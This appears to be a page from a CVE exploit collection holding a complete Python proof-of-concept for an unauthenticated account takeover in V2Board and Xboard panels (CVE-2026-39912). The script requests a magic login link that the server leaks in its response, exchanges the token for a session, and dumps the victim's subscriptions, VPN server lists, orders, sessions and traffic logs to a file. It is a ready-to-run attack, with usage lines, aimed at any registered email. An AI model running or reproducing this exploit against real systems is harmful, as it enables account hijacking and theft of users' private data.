5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
"""
Xboard / V2Board Unauth Account Takeover PoC

Affected:
  - V2Board (v2board/v2board) >= 1.6.1 through 1.7.4 (abandoned)
  - Xboard (cedar2025/Xboard) all versions through v0.1.9+

The loginWithMailLink endpoint returns the magic login link directly
in the HTTP response body instead of only sending it by email.
An unauthenticated attacker can take over any account by email,
then dump all accessible user data (subscriptions, VPN servers,
orders, tickets, sessions, etc).

The bug originates in V2Board and was inherited by Xboard via fork.

Requirements:
  - login_with_mail_link_enable enabled in admin settings
  - Target email belongs to a registered user

Usage:
  python3 poc.py http://localhost:7001 [email protected]
  python3 poc.py http://localhost:7001 [email protected] -o dump.json
"""

import argparse
import json
import logging
import re
import sys

import requests

logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
log = logging.getLogger(__name__)

BANNER = """
 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true
"""

DUMP_ENDPOINTS = [
    ("User Info", "api/v1/user/info"),
    ("Subscription", "api/v1/user/getSubscribe"),
    ("Servers", "api/v1/user/server/fetch"),
    ("Orders", "api/v1/user/order/fetch"),
    ("Tickets", "api/v1/user/ticket/fetch"),
    ("Invite Codes", "api/v1/user/invite/fetch"),
    ("Invite Details", "api/v1/user/invite/details"),
    ("Active Sessions", "api/v1/user/getActiveSession"),
    ("Stats", "api/v1/user/getStat"),
    ("Traffic Log", "api/v1/user/stat/getTrafficLog"),
    ("Knowledge Base", "api/v1/user/knowledge/fetch"),
    ("Notices", "api/v1/user/notice/fetch"),
]


class Xboard:
    def __init__(self, base: str):
        self.base = base.rstrip("/")
        self.session = requests.Session()
        self.token = None

    def _get(self, path: str) -> dict:
        r = self.session.get(
            f"{self.base}/{path}",
            headers={"Authorization": self.token} if self.token else {},
        )
        return r.json()

    def takeover(self, email: str) -> dict:
        log.info("Requesting magic link for %s", email)
        r = self.session.post(
            f"{self.base}/api/v1/passport/auth/loginWithMailLink",
            json={"email": email},
        )
        data = r.json()
        if data.get("status") != "success" or not data.get("data"):
            sys.exit(f"Failed: {data}")

        link = data["data"]
        log.info("Leaked: %s", link)

        match = re.search(r"verify=([a-f0-9]+)", link)
        if not match:
            sys.exit(f"No verify token in: {link}")

        r = self.session.get(
            f"{self.base}/api/v1/passport/auth/token2Login",
            params={"verify": match.group(1)},
        )
        auth = r.json().get("data", {})
        if not auth.get("auth_data"):
            sys.exit(f"Token exchange failed: {r.json()}")

        self.token = auth["auth_data"]
        log.info("Authenticated (admin=%s)", auth.get("is_admin", False))
        return auth

    def dump(self) -> dict:
        results = {}
        for name, endpoint in DUMP_ENDPOINTS:
            data = self._get(endpoint)
            if data.get("status") == "success" and data.get("data"):
                results[name] = data["data"]
                log.info("%s: OK", name)
            else:
                log.info("%s: empty or failed", name)
        return results


def main():
    parser = argparse.ArgumentParser(description="Xboard Unauth Account Takeover")
    parser.add_argument("url", help="Target URL")
    parser.add_argument("email", help="Target email")
    parser.add_argument("-o", "--output", help="Dump to JSON file")
    args = parser.parse_args()

    print(BANNER)
    xb = Xboard(args.url)
    auth = xb.takeover(args.email)
    dump = xb.dump()

    output = {"auth": auth, "dump": dump}

    if args.output:
        with open(args.output, "w") as f:
            json.dump(output, f, indent=2, ensure_ascii=False)
        log.info("Saved to %s", args.output)
    else:
        print(json.dumps(output, indent=2, ensure_ascii=False))


if __name__ == "__main__":
    main()